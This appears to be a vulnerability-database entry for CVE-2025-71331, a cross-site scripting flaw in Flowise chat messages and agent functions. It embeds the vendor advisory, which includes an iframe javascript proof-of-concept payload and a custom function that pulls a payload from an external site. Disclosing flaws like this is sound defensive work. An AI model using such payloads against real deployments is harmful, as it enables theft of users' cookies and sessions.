CVE-2025-71331
mediumpriority · track · 0EPSS 0.003 · 25 %ileEUUSEPSS · scored 2026-10-27
Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.2–6.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-4fr9-3x69-36wvFlowise vulnerable to XSS2025-10-03ghsa · osvUS
### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/json' } }; try { const response = await fetch(url, options); const text = await response.text(); return text; } catch (error) { console.error(error); return ''; } ``` 4. The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> 5. The javascript code is executed and the victim's cookie data is sent to the external website. <img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" /> ### PoC `<iframe src="javascript:alert(document.cookie);">` ### Impact it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wvcnnvd
- https://www.vulncheck.com/advisories/flowise-cross-site-scripting-in-chat-messages-and-agent-workflowscnnvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wvenisa_euvd
- https://www.vulncheck.com/advisories/flowise-cross-site-scripting-in-chat-messages-and-agent-workflowsenisa_euvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wvExploitVendor Advisorynvd
- https://www.vulncheck.com/advisories/flowise-cross-site-scripting-in-chat-messages-and-agent-workflowsThird Party Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan